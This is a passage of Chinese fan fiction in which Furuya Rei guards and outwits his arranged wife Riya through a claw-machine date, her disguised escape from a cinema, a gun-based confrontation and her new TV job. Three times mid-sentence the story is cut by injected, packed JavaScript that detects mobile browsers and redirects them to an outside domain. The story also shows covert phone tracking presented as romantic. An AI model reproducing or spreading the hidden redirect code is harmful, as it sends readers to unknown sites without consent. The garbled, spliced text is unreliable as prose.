“……不要用讨论别人的口气说话好吗那不就是你吗?是啊很抱歉没有熟到和丈夫一起选内衣,但是已经充分的了解他的审美是黑色大面积蕾丝——” “休战吧,我同意。”他立刻切断了对话,冲莉亚伸手,“手机给我。” 这个年代怎么会有人轻易地把外置器官交出去。莉亚警惕地捂紧了口袋,“可能忘了告诉你了,我和丈夫也还没有熟悉到可以查手机的地步。” 拒绝无效,手腕被捏着从口袋上挪开了。手机在眨眼之间就滑进了降谷零的手里。 公安居然也很会偷东西——不,这样的手段已经构成抢劫了吧?果然是跟犯罪人员学坏了。 “别这样瞪我,只是一点防范措施而已。我可不想这么快就丢掉工作,记得吗,还是你给我安排的新岗位。” 他在屏幕上点了一会儿,才把手机还给她。 莉亚急忙检查起来。果然已经被他装上了奇怪的软件。立刻抬头怒目而视。 “只是必要的位置追踪功能。顺便一说,算法是即便换了设备也能溯源实现定位的新版本,不要抱着侥幸去换新手机了。” “……随便你,不要继续烦我就好。” 她甩开了一直十指交握的手。 8. 讨好 她好像真的生气了,一直气冲冲地往前走,根本不理人。 降谷零叹了口气,开始反思自己的工作方式。 毕业之前就被公安视作未来的卧底警察而特招,所以接受的入职培训只有如何与犯罪分子搏斗周旋、怎样不引起怀疑地融入其中,里面并没有和上司家的大小姐搞好人际关系这种内容。 这样的手段在贝尔摩德面前展示大概刚刚好,但对法月莉亚来说确实太强硬了,反而会激起不满情绪。或许他应该跟做皇宫警察的同行请教一下语言的艺术? 现在肯定没时间了。他仔细观察四周,试图寻找能稍微修复一下关系的契机。 法月莉亚突然朝右手边深深地看了一眼,连脚步都放慢下来了。 他立刻也看了过去:是一家闪烁着五光十色霓虹招牌的游戏店,橱窗里摆着本季的大奖,有新款游戏机和各色的特别赏玩偶什么的。 唔……是在看玩偶吗? 莉亚又一次被捉住了手腕。对方把紫灰色的眼睛朝一旁瞥了瞥,示意她,“要不要进去看看?” “……谁要跟你去游戏厅啊?” 他用充满诱惑的口气补充:“但我特别会抓娃娃。” 她突然安静了,过了一会才开口:“那种最大的也可以吗?” 降谷零几乎要笑出来了,“当然可以,全看莉亚小姐喜欢哪一个。” 被捉住的手悄悄地主动挽了上来,牵着他往店里走。大小姐显然心里有自己的目标,径直把他带了一台机器前,“我想要那只伊布。” 一直燃烧着怒火和寒意的茶色眼睛突然变得湿润润的,闪烁着明亮而清澈的期待神采,这样紧紧地盯着他,像一只初生的小兽。 降谷零紧紧盯着玩偶,一边掏出钱包,递给莉亚。 过去因为过于自己执着而无辜阵亡的零花钱终于有了回报。法月莉亚很安静地捧着钱包,在他看过来的时候立刻从里面掏出硬币,捧在手上给他选,配合得让他甚至有点害怕。 他从莉亚手心里捏起两枚硬币,丢进机器,眯着眼开始晃动操纵杆,向前移动,瞄准了头奖。 莉亚连忙拽他的袖子:“我要那个睡眠姿态的,不是坐姿的。” “好说,好说。” 他重新调整位置,拍下按钮。飞爪勾住了玩偶,拖动它翻了个身,但没能整个抓起来。 莉亚捂着嘴小小地尖叫一声:“啊,可惜!” “不要心急嘛,大小姐。”降谷零冲她招招手。莉亚连忙又托起硬币,供他挑选。 一直丢进去了十几个百元硬币,他忽然直起身,“你来拍。” 她小心翼翼地把手放到按钮上,再次确认:“现在这样就可以吗?” 降谷零直接把手覆到了莉亚的手背上,用力按了下去。 机器如他所料地顺利闪烁起庆祝的光芒。咣当一声,目标奖品从洞口里掉了出来。 热切的期待目光立刻从他的脸上转移到了那只巨大的褐色狐狸狗身上,并且再也不看过来了,让人有点失落。 法月莉亚把脸埋进了玩偶里,“是伊布,真好呢……” 他起身把机器让给排队的人,走过来也观察这只玩偶:“这种东西,我记得你房间里有很多吧,这么高兴吗?” “才不是呢,这是很热门的限定特别赏,跟店铺里卖的那些款式不一样。当时我很想要来着,但是自己怎么也弄不到。” 他向大小姐介绍普通人的社会运营模式:“这样的话,在二手交易的地方也可以找到指定款。” 她含糊地回答:“因为当时在离家出走么。这么大的毛绒,携带起来不太方便,不是自己拿到的就算啦。” 降谷沉默了片刻,开始伸手挽袖口,“……那么还有哪款是当时没有拿到的?” 期待的目光又挪回到了他的身上。 他为这一瞬间的得意付出了代价。 半个小时以后,降谷零扛着两个巨大的玩偶走出游戏厅,胳膊下面还夹着几个更小只的。而公主殿下空着手,打量着周围的广告,非常开心地问:“这里还有间电影院诶,要不要去看电影?这部我超喜欢的,居然能重映——哦不对现在就是首映周。” 他被宝可梦包围,已经失去了生机,“随你高兴吧……” 她伸手从他的口袋里掏出来了钱包,给他们买了两张票,然后又塞了回去。 哦,对了还有爆米花。 她又把手伸向了他的口袋。 太熟练了吧?他半真半假地抱怨:“我说,我可没有问松本前辈报销细则啊。” “和妻子看电影也要公安报销吗?好糟糕的税金小偷。” 她推着身上挂了一群宝可梦的降谷零往放映厅走,安抚道:“真可怜,还在领公安那微薄的年金呢。回家我把父亲的副卡拿给你啦,随便划,这就是蹲监狱的唯一好处。” 可能因为这是个工作日,已经开始播放防范电影小偷的影片了,影院里也只坐了一半观众,上座率并不很高。玩偶们也有幸得到了摆放的位置。降谷零把宝可梦放到旁边的位置里,开始检查宣传单的内容:“居然是忍者片,你喜欢这个?” 莉亚把爆米花递过去,一边向他介绍:“这部拍得很好!打斗戏采用了比较现代的展示方法,但历史感也得到了很好的体现,而且女主角还是石原里美,我超喜欢她。” “这样……对了,我们没有买饮料吗?” “啊,他给了我两个纸杯,我好像顺手放在收银台旁边了。” 降谷零叹了口气:“这种是要客人自助打饮料的。我去取回来吧。” 他躬身站起,小声向后面被挡住的客人道歉。刚走两步,他突然又把脸凑到莉亚面前,几乎吓了她一跳,“——还是说,这又是一个支开我的逃跑新方法?” 她面无表情地把他的脸向旁边推开,“你挡到屏幕了……我现在等着在看石原里美,没有时间理你,不要疑心病这么重。” “你最好是。”他轻笑起来,继续往外走。 收银台旁果然还有两只空可乐杯。他打好了饮料,特意在外面多徘徊了一会儿,把墙上所有的海报都看了一眼。再进去影院的时候发现法月莉亚果然还坐在原位上,专心致志地看电影,根本没注意到他回来了。 他把杯子贴在莉亚的脸颊上。装满了冰可乐的杯子冻得她一个激灵,果然立刻看了过来—— 哦,就是刚刚努力抓玩偶换来的明媚笑容消失了。现在表情很差,看起来大概有点想咬人。 降谷零耸耸肩,插好吸管,把饮料递了过去。她瞪了他一眼,但还是接过杯子喝了起来。 糟糕。 莉亚开始后悔当时没有直接把杯子丢掉了。 爆米花吃太多了,不知不觉口渴得快速喝掉了整杯可乐,现在突然很想去洗手间。 但是电影还在精彩处……距离结尾应该还有四十分钟以上。降谷零都很认真地在看,细微的神情跟着主角的打斗进程而变化。 她有些焦躁地连续换了个姿势,试图让自己忘掉这件事。 但降谷零留意到了,低声问:“怎么了?” 她做了个手势,表示要去洗手间,“我出去下,马上回来。”说着把自己一直抱着的伊布塞给降谷零,起身离席。 收银台的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947682|160860||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两名小姐正在聊天,看到她出来一齐问好。 “抱歉,洗手间在哪边?哦,前面右转是吧,谢谢您。” 法月莉亚顺着她们指点的方向快步走了出去,向右一转,就转为贴墙而立。她悄悄探出目光,紧盯着第三间放映室的门。 一分钟过去了,门依然静悄悄的,没有第二个人出来。 降谷零没跟上来。 她立刻调转脚步,向反方向跑去。 ——从一出门的时候她就在撒谎。她是学习院的毕业生,怎么可能没来过池袋?大学的时候,这里几乎是她的据点。虽然记忆有点模糊了,但是这层的优衣库…… 啊,果然还在。而且人果然像预料的那样少。她随手抓起一件千鸟格风衣和帽子,飞快地结了账。 是的,她也不是没有带钱包,连几个百元硬币都要降谷零来付。做女主播随时需要发名片,还要应对紧急状况,怎么可能真的像大小姐一样空着手出门,全部叫秘书来签单处理呢? 几分钟之后从店里再出来时,莉亚身上已经完全换了装扮,让人认不出来这是刚刚那位一身驼色Loro Piana的大小姐。 这间优衣库很大,有好几个出口。她从最远端的那个出去,跟在几个来为孩子采购的妈妈友后面,顺着她们一起进了电梯。电梯停在地下二层的停车场,她伸手按住开门按钮,微笑着请别人先下。 那几位中年女性一走出电梯,笑容就从她脸上消失了。莉亚用刚买的帽子遮住脸,快速地换到了隔壁电梯,反手选了顶层——这附近的几家商场的停车场和顶层花园都是互相联通的。即便降谷零如果看到她上了电梯,又发现下到了停车场,一定会去排查哪辆离开的车是她安排好的吧? 但她只是临时做了这个逃跑计划,其实一辆车都没有事先安排。为了防止被追踪,手机都被她塞到了伊布玩偶背后的拉链里。 穿过顶层花园里快乐享受游乐设施的家庭,挤进高岛屋熙熙攘攘的顾客里。趁人不注意,莉亚钻进了逃生通道,一边快速向楼下跑去,一边把外套脱下,将内衬反过来,变成了一件黑色的大衣,又重新穿到身上。 消防通道里只有她鞋跟用力踩踏铁板发出的咔哒咔哒声,和逐渐变得粗重的呼吸声。 太紧张了,心要从胸膛里跳出来,几乎喘不上气了。 但一定要跑掉。 不然很快就会被老家伙按着头去生孩子,一个两个三个,直到生出来能传递法月家政治资源的优秀人才……最后成为只能在游乐设施下面穿着和服对孩子们微笑挥手的面目模糊的贵妇人,不可以有失风度,不可以哈哈大笑,不可以头发散乱…… 呸。 终于看到了厚重的防火门,从这里出去是一条小巷,旁边有很多鱼龙混杂的居酒屋。只要混进去,很快就能甩掉一切追踪的可能,上次也是这么成功的。但北海道估计不能去了,那么或许可以考虑换个方向,这次去福冈怎么样?或者鹿儿岛? 她无视掉防火门上面的“非紧急时刻不要使用”的字样,用尽全力拉开,冲进了自由的未来。 春天日短,夜色已经降临了。狭窄的小巷里空无一人,凉凉的晚风夹杂着油烟和腐朽垃圾的气味,吹在脸上,简直是能使死人活过来的自由气息。 她扶着膝盖,无声地大笑起来。 角落里忽然响起意料之外的细碎脚步声,继而转出来一道修长的身影,被阴影遮挡住了大半形容。 但来人有一双明亮、锐利的紫灰色眼睛,在黑暗中也熠熠发光。 “晚上好,小姐。跑了这么远,真是辛苦你了。” 笑容凝固在脸上。 9. 打赌 法月莉亚感到了前所未有的愤怒。 “好不了一点。你是怎么找到我的?我明明……” “啊,明明已经把手机放到玩偶里,逃脱时不仅绕路还做了伪装是吗?很好的策略,如果是普通警卫一定会被骗到的。但是很可惜——” 他微笑着展示了一下手机屏幕,上面展示着各种监控画面。显示他可调用的摄像头位置的红点密密麻麻地包围了整个池袋商区,“我可是跟罪犯打了很久交道的前公安卧底啊。习惯使用一些不太合法的手段,也很正常吧。” ……正常在哪里了?这已经不是普通罪犯,是恐怖分子了吧? 她很想说一些脏话,但是严苛的家教限制了词汇量,不由得一时语塞。 “那么,今天的余兴活动就到这里,现在是回家的时候了。”降谷零说着,照旧伸手过来捉她的手腕。 莉亚用力拍开他的手,“别碰我!我不回去!” 微笑从降谷零的脸上刷地消失了。 他眯起眼睛,就连声音都变冷了,“可以了,大小姐,我的耐心是有限度的。是你非要把我留下来当护卫的,人总得为自己的选择负责吧?” “这是在指责我吗?我的选择?我选择离开这个破地方,是谁非要把我送回去的?”她也冷笑起来,“而且看清楚吧,你本来要做六七年卧底才有资格走到最高领导面前的,现在直接省下来了——不用再冒什么生命危险,加薪升职成为警视总监也是迟早的事。全日本的警察听了都会羡慕吧?还有什么不满意呢?” 这话好像极大地冒犯到了对方。降谷零的脸色阴沉得可以拧出水。 “我不是为了这些东西才选择当警察的。”他反唇相讥,眼里迸出怒火,“难道你是因为方便嫁入豪门这种轻浮的理由才去当主播的吗?” 她挑衅地对上了那双愤怒的眼睛。 “你答对了,正是如此。” 火光消失了。表情一瞬间甚至变得呆呆的:“……啊?” “如果不是因为这个,你以为他当初为什么会同意我出来工作?为了支持女性就业吗?”莉亚简直要笑出声了,“女儿按照大和抚子来教养,幼稚园就进学习院,毕业了之后就扔去婚活,这是旧华族家的风范,他毕生的追求啊。‘做过主播就可以更好地联姻’,这样的理由已经是我能用来争取自由的极限了。托你的福,现在已经完全无效了。在公安警察面前变装逃跑显得很可笑是吗?但我就是要赌一把,又怎么样呢?” 降谷零沉默了好一会儿,突然说:“不是这么打赌的。” “什么?” 他轻蔑地笑了:“来吧,我教你——” 降谷零抬起手挥了过来。 有那么一瞬间,莉亚几乎以为他要打她。 但拳头只是从她耳边划过,重重地砸在墙壁上,发出沉闷的声响。她有一种错觉,好像有墙体碎屑随着拳风钻进了衣领里。 他随着这个动作靠过来,贴着墙壁紧紧压制着莉亚,额头几乎顶上了她的,金色碎发和黑色长发纠缠在一起。 “换个衣服绕远路什么的就算逃命了?也太轻浮了吧,像在玩捉鬼游戏。”他捉住莉亚的手腕,从怀里掏出一把枪递给她,“既然是关乎人生的重要事情,那要有很高的筹码才算得上是打赌啊。来啊,拿好。” 奇怪的举动。她试图躲开,但降谷零坚定地强行把枪塞进了她的手里,不允许拒绝。 “我不要,你干嘛——” 他捏着莉亚的手,把她的食指放进扳机前,做好了射击准备的姿态,“这样才是足够的砝码吧?按下去啊,这样我就可以跟他们讲,你宁可自杀也不要回家,一定很有说服力。” 他一边讲解,一边把枪口贴上了莉亚的左肩。再往下半寸的地方,她的心脏正在嘹亮、急促地跳动。 全身的血液好像一齐涌了过来,带来了灵感。莉亚终于找到了合适的词汇,既可以表达现在的惊恐心情,又可以辱骂他:“你有病吧!” 耳边传来了一声突兀的轻笑。 “可能吧……确实,为了上班而对自己开枪实在也太离奇了。那不然这样呢?” 枪口被从她的肩颈拉到了他的心口,他甚至还用力顶了顶。枪口下方传来了来自肋骨的阻碍感。 “怎么样,赌一下射杀掉警卫之后到底能不能成功跑掉?这样我肯定不会有余力去追踪了。我倒是无所谓,你要试试吗?” 降谷零脸色凝重,嘴唇紧抿,一点也不像在开玩笑,手上还开始渐渐发力,引动她去扣下扳机。 莉亚惊恐地瞪大了眼睛。 手上冰凉而坚硬的触感令她突然想起那个被人按在地上击穿后脑的惊魂夜晚。 用尽了所有空气也无法从喉咙中吐出的尖叫。 残血一样的铁锈色地毯花纹。 灼热和疼痛。 如果真的按下去……他一定会死的! 莉亚像被电击一般打了个冷颤,用尽全力把他甩开。那只枪也被她像对待亟欲咬人的毒蛇一样狠狠扔了出去,在空中划出一道弧线。 降谷零伸长手臂一把抓住,把枪收回怀里,居高临下地看着莉亚,“不赌了?那么现在到回家的时间了,大小姐。” 法月莉亚靠在墙边,仍然惊魂未定地大口喘息。 他也半蹲下去,扶着膝盖凑近观察她,忽然换上了轻松的声音,“吓到了?抱歉抱歉,这样解释比较直观吧。顺便一说,我们公安警察工作都是这么赌上性命的——真要和我对抗,必须先要有这样的觉悟啊。” ……听起来明明还是很在意刚刚说的“升职加薪指日可待”。 好像应该先愤怒,但完全不是对手。总之还是不要让他再使用出来恐怖的招数了。 “我道歉。”她捂住半边脸,干脆地认输,“但这完全是你的同事们的责任。被介绍给我的警察至少有过二十个,每个对我父亲的兴趣都非常大,简直是让我怀疑到底是想来当我丈夫还是我继母的程度。” 他对着莉亚摊开手掌,想把她拉起来,“真糟糕呢,让你见识到了蛀虫的存在。” 怎么办,还是不太想理他。 但是刚刚跑得太辛苦了,现在浑身都发疼,靠自己确实站不起来。她只好不情不愿地赏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947683|160860||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了脸,把手搭上去了,“……这个时候倒是希望我选的是蛀虫,就不会那么难跑掉了。” “这是称赞吗?那么我就不客气地收下了。”降谷挑了挑眉,“这样的局面也没办法吧?虽然也有我的问题在,但另外一部分责任你还是要负起来的。” 见到莉亚能独自行走,他上前把防火门重新拉开,示意她通过。但莉亚皱着眉站在原地:“你不觉得这个对话……哪里都很奇怪吗?” 通常新婚夫妇确实有需要快速负起沉重责任的情况,但应该是卧底、犯罪和枪炮吗?是史密斯夫妇吗? 对方没有领会到笑点,反而非常认真地解释:“嗯?虽然莉亚小姐不是故意的,但是实际上还是打断了卧底行动,就需要受到公安的进一步调查和保护,生活被扰乱了也……” “我不是说这个……算了。”解释笑话就会成为笑话。 仿佛被看轻了?他严肃地快速补充:“我说了,我会承担相应那部分责任的。” 听起来更像笑话了。 “随你好了。”她快步从他身侧走了进去,忽然在台阶前又停下。 他重重地叹了口气:“大小姐,又怎么了?” “你跟上来了,那么我的伊布呢?”她冲他摊开手,勾勾手指,“丢了可要赔两份。” “好像本来就是我捉到的吧?”他直接握住了她的手,往停车场方向带路,“这个倒是不用担心,如果它不会像你一样喜欢逃跑的话。” 这家伙怎么还是在找机会阴阳怪气,不是已经好好道歉了吗? 莉亚翻了个白眼。 这种心情在他打开车门的时候更强烈了。 她指着后排摆放整齐的玩偶:“什么啊?你哪里来的时间全都仔细放好的?” 仔细一看,就连她扔在优衣库更衣室里的风衣外套也在。她顿悟了:“所以你是一直坐在那里看着我在商场里乱跑,直到我要离开才出来的吗?” “啊,万一你只是迷路了找不到洗手间呢,这个时候我突然出现的话多尴尬啊。而且警卫不是应该对保护对象的随身物品也好好地加以保护吗?” “哈?你现在自我定位不是公安是警卫了吗?那警卫倒也没必要赌上性命地拦着我离家出走吧?” 他瞥了一眼莉亚,发动引擎,直到车子离开停车场才慢悠悠地回答:“……倒也没有。” “什么?” 降谷零在一个红灯前踩住刹车,“哦,那把枪其实没上子弹,保险栓也没有打开,所以即便扣动扳机也不会怎么样——对了,车门我已经锁上了,不要想着趁机跳车哦。” “怎么会呢。”她呵地冷笑一声,伸手按开音响,把歌曲放得震天响。 失策了,不应该道歉的,倒是很应该尝试一下当时直接用枪托砸他。 直到回家,法月莉亚都没有再说一句话,径自上楼回到房间,反手把门摔上了。 目睹一切的松本警部:“这是怎么了?今天又逃跑失败了?” “嘛……”降谷零摸了摸鼻尖,“对了,我有重要的事需要和那位先生商量,请问怎么能见面呢?” 10. 任命 门被敲响了。新来的年轻秘书官在呼唤她的名字。 莉亚非常不想理,但对方有充分的理由:“我给您送今天购买的东西。” “……我自己收拾就好,请不要来打扰。”她把门打开一条缝隙,接过玩偶就又急匆匆地合上门,还上了锁,完全不打算放人进来。 那只特别赏的伊布玩偶被莉亚放在展示架上。她弯腰凑近盯了很久,突然给了它一拳。 什么啊,宝可梦属性不是说好了是逃足吗!没办法帮助跑路,要你何用! 棕色的肤色现在看起来也那么让人不爽。她把伊布转了个方向,让它面壁思过。 真正想揍的其实另有其人,首当其冲的就是同样有深色皮肤的那个家伙。 门又被敲响了,对方似乎非常锲而不舍。吵闹的家伙,也值得一拳。 她把自己扔进被子里,假装听不到声音。但是无言的拒绝好像有点失败,过了一阵,又有人来敲门了。 她直接抄起手边的玩偶砸了过去。硕大的玩偶重重地撞在门上,发出沉闷的声响,外面的人也立刻停止了敲击。 终于走了吧? 几分钟后,她从被子里探出头,几乎被吓得尖叫起来。 降谷零正在弯腰近距离观察她。一掀开被子,这张脸就出现在视线里,差点和她撞在一起。 “你干嘛突然凑这么近?吓死人了!” 他直起身,若无其事地插兜,“看到你又把自己整个人埋到被子里,以为你又穿越时空或者记忆重置了什么的……姑且确认一下是哪个版本。” 可恶,说得好像在观鸟。不对,这不是重点。她捏紧拳头,“你是怎么进来的?我没给你钥匙吧?” “啊,这个嘛。”降谷零显得很愉快,“也是个人技能的一部分。我可以用发卡打开东京三分之二的锁。” 果然已经不是警察了,完全是罪犯的形状。“所以你就随便闯进别人的房间?太差劲了。” 他指出问题:“首先,我现在就住这里。其次,这个所谓的别人是我法律上的妻子,这房间需要挂邮政名牌的话,甚至还得挂上‘降谷’,猜猜为什么?怎么看我都不构成非法入侵。” 歪理邪说!她气得要坐起来理论。但降谷零伸出食指,顶在莉亚的额头上,让她完全没法正常用力。 他还很惊奇:“啊,原来顶住额头就不能移动重心的传闻是真的。” 法月莉亚失去了所有关于端庄的美德。她两只手同时捉住他的手,在“啊呀小莉亚好热情”的感叹声中向下一拉—— 试图用最原始的方式制裁恶徒。 她张开了嘴,露出闪亮的牙齿。 一张卡片突然出现在了嘴唇上,挡住了蓄势待发的攻击。干这件事的恶徒轻松地从禁锢里抽开手,吹着口哨走了,“好累,我先去泡澡了。” 她终于可以坐起身了,卡片也随之掉了下去。 在冲进浴室骂他的选项前犹豫了一下,莉亚气冲冲地选择先捡起来查看那张卡片。 是一张名片,上面的名字是…… 日卖电视台专务樱井英一。 她惊讶地瞪大了眼睛,跳下床冲去砸浴室的门。 降谷零慢悠悠地打开了门,又是浑身只裹着一条浴巾,金发已经被淋湿了,“要一起吗?好像不太好吧……” 热腾腾的水汽从他身边挤了出来。莉亚感觉自己的耳根被熏得逐渐发热,勉强冲他挥了挥那张名片,“这是什么?” “你父亲给我的。我以为你知道是什么意思。” 她感到喉咙一阵发干,“当初我加入日卖,就是他请樱井先生安排的。” “啊,看来真的是时间穿梭了,一模一样的轨迹呢。法月长官确实也是这么吩咐我的。”他捏着下巴思索,“或许是该去了解一下尖端科技了,虫洞?还是黑洞?” 现在不是讨论物理的时候,莉亚有更重要的事情要追问:“……你去见他了?你怎么可能说服他?你怎么说的?” 对方似乎不觉得这有什么值得讨论的,仿佛高中生看到小学试题,“你不是已经把答案告诉我了吗?” “哈?我怎么自己都不知道?” 他给一脸惊讶的小学生解释起来:“你说你父亲只在乎联姻对象是否能够满足他的要求,所以我去谢罪了,请他给点时间考核一下,顺便把你那个理由又说了一遍。” “什么理由?” 降谷零耸了耸肩,“能当上人气女主播的话,即便是离开不争气的丈夫想要再婚,也不会影响到第二次联姻的对象选择吧?反而会很受欢迎。” “……你知道你在说什么吗?”莉亚被震撼得半天说不出话。 “这也没办法,如果直接同意离婚的话,你不是会直接被拉去相亲?只有积累了一点声望之后才会有选择的余地,你之前——哦,应该说是几年之后,其实也是这么做的吧?” “不不,这不是重点。你知道你会有多惨吗?”她连连纠正,“他认真考核你的话,会真的把你当成底层秘书官用,完全失去尊严的高强度劳动啊,超恐怖。而且真要没有通过考核就离婚了的话,应该会被发配到岛根高知地方上的署里,这辈子都不可能上京了,免得被媒体知道这件事什么的……” “但你还是可以去当女主播——确定错了调查对象还用了不合适的方法搜查在先,那么这样的处罚也算情理之中。我说了吧,也会承担起我那部分的责任。” 她感觉眼睛突然痒痒的,连忙眨了眨眼,干巴巴地说:“哇哦,好感人的话,如果不是我新婚丈夫一直在计划要怎么离婚,我都要被感动哭了。” 降谷零换了边身体去倚门,“那么可以允许我去洗澡了?水要凉了。你可以先跟老上司联系一下——其实也没那么吓人。” 他也眨了眨眼。 这是在嘲笑她不敢去跟亲生父亲交涉? 眼睛里那一点氤氲的水汽快速消失了。她伸手重重地关上了门,把他撞回了浴室,好像隐约听到了一声呻吟声。 嗯,一定是听错了。 半个小时以后,受到攻击的人终于从浴室里出来了。 降谷零把浴巾搭在头上,老实地套上了T恤——还是不要再惹毛大小姐比较好。 努力明显获得了回报。之前被发配到地毯上的枕头又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947684|160860||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重新回到了床上。 他对着已经回到展示架最好位置上的伊布轻快地眨了眨眼,慢吞吞地坐到床边,“呀,怎么把枕头拿到这里来了,我的位置可是在地上啊。”说着伸手去拿枕头。 大小姐恰好翻了个身,继续埋头编辑信息,手肘漫不经心地压住了枕头的一角。 他装模作样地拽了两下,故意说:“奇怪,好像拿不起来诶。” 她终于停下按手机的动作,瞥了过来:“……那就放在这里好了,又不是睡不下。” 床立刻向下微微地塌陷了一下。金发男人翻身躺了上来,笑眯眯的,“那么,多谢款待!” 热腾腾的水汽再次悄悄地席卷而来,包围了她。莉亚感觉耳根又开始发烫了。 ……用词也好糟糕的。什么叫多谢款待,这是车站的立式拉面店吗? 她不自在地清了清喉咙,用披散的长发挡住半边脸,小声嘀咕了一句,发音有点类似于“没什么”。 降谷零假装没听出来女主播的失格,“所以对方有回复你吗?” “啊,让我有时间的话明天就去试镜,现在正好有个新节目在筹备……估计还是《Bristo》吧,他们应该也不太敢让我真的去播时政新闻。万一播到关于老头子的新闻,那也太尴尬了。” “《Bristo》?那是什么?” “诶?你不是热心观众吗?”她惊奇地看了一眼降谷零,才后知后觉想起来,“对哦,那是六年以后的事情了——看名字就知道啦,是个深夜档的美食番组,邀请名店的厨师现场教学做食物分享食谱,热播剧的剧组过来做嘉宾品尝美食顺便宣传剧作,偶尔出出探店的外景什么的,是那种定位很轻松的大众节目。” 降谷零摸了摸下巴,“原来我以后会对这种类型的节目感兴趣吗?还真有点想不到……” 锐利的目光投了过来:“嗯?这难道是为了提升好感度编造的谎言吗?” 公安警察也无法对未发生的事作出解释,难得地哑口无言,“呃,不过人的趣味随着时间变化也是有可能的吧。我当时是怎么说的?” “你说是爱好烹饪的朋友推荐给你看的。” 他忽然笑了,躺倒在枕头上,“那我知道是谁了。应该不是谎言。” 女主播怀疑地上下打量他,感觉被骗的概率仍然居高不下。 说起来他的那个朋友……六年后好像就已经过世了。难道是这几年出的事故吗? “你知道了?那有空就介绍我们认识吧,我还没见过他。” “嘛……有机会的吧。”他翻了个身,伸手去按掉开关,“睡吧,明天我送你去试镜。” 女主播不情愿地合上手机,嘟囔了一声“晚安”,接着发出窸窸窣窣的声音,应该是钻到了被窝里。很快就传来了绵长而放松的呼吸声。她睡着了。 他在黑暗里睁开了眼睛,重新去看手机秘密文件夹里的信息。 “你还好吗?一切顺利?” 发件人:绿川。 从米花大饭店出来之后,就再也没得到对方的回信了。 ……希望还有能介绍他们认识的机会。 11. 就职 在闹钟响起的前一分钟,法月莉亚睁开了眼。 重复了六年的女主播生活带来异样的亲切,见专务这种事都变得让人期待起来。 而陌生的那部分…… 她往旁边看去,发现降谷零的位置上空无一人,甚至没有余温。他大概已经起床很久了,令人庆幸地省去了可能存在的尴尬和斗嘴。 女主播松了一口气,起身快速搭配好了服饰和妆容。喷定妆水的时候,门被敲响了。 莉亚随口喊:“请进。” 意料之外,不是家政妇或者秘书,进来的是降谷零本人。他变得格外有礼貌已经很令人惊奇了,更重要的是,他还换成了一套纯黑色的西装制服,和标准政治家秘书官配制一模一样。 莉亚放下喷雾,瞪圆了眼睛。 降谷零不自在地正了正领带,“很奇怪吗?怎么这个表情。” 超级奇怪。他穿那套鼠灰色制服的时候敞开胸坏,还很有点潇洒的气质。但现在规矩得把扣子都快扣到了喉咙了…… “你知道我周围的秘书都是这么打扮吧?小时候恳亲会、亲子运动会都是他们来给我开……所以我一看到这么穿衣服的人就特别想叫叔叔。” 她更惊讶地发现,原来降谷零的脸色可以变得更黑。他咬牙切齿:“所以这都是为了谁啊?” “哈哈,为了更光明的仕途?也算走上人生的正路了,恭喜你啊。” 降谷零转身就走,“那我也去说一声,你打算走上正途,准备安安心心地当秘书官夫人,不要做什么女主播了。晚上的酒会也一起去吧?” 莉亚立刻拎起手包,快步跟上,挽住他的手臂,“你听错了,我什么都没说,为了民众英勇献身的降谷警官。” 他冷哼一声,但是没有甩开莉亚,“原谅你了。” 莉亚小声抱怨:“……你嘴角要是没有往上扬的话,我会觉得这个谅解更逼真一点。” 紫灰色的眼睛立刻重新锁定了她:“什么?” “什么都没有呢。”女主播露出标准的职业微笑,拉开了车门,低头扣安全带。 降谷零忍不住吐槽:“看来这次不打算跳车了,真难得。” 她假装没听到,强行转移话题:“你打扮成这样,是被他分了工作吗?” “嗯。”他发动车子,“接下来需要负责的是和警察厅相关的工作。虽然变成了进行文件起草审核的文职,也还在我能应对的范围之内。” “诶……这样啊。” 其实结婚的时候就预料到了会有这一天。婚活对象一大半都是警察和秘书官的用意再明显不过了:她的丈夫迟早会成为接过她父亲权柄的政治家。但是这一天来得太快了,印象里降谷零意气风发地拔枪指挥属下、一路飙车去拯救东京塔的样子实在太过鲜明,很难想象他会跻身那群坐办公室的孱弱高层老古董的行列。 有这样权限的警视数量远远多于公安委员长的准心腹,显然算得上飞黄腾达,但这个提拔让她内心非常复杂。 这真的是好事吗? 车子已经开到了日卖台。降谷零熄灭引擎,一回头正好看到这个凝重的神色:“怎么了?要入职了,所以很忐忑吗?” 女主播扬了扬眉,“不,这恰好也是我的应对范围之内。” 确实是很熟悉的流程,恍惚间回到了几年前。站在前台签到、等待专务的助理下来迎接,并且被她引到樱井专务的办公室、准备和专务进行关于新人培训的讨论什么的。 莉亚看了看浅色木门上“樱井”的铭牌,忍不住感叹:“啊,居然还在这一层啊。” 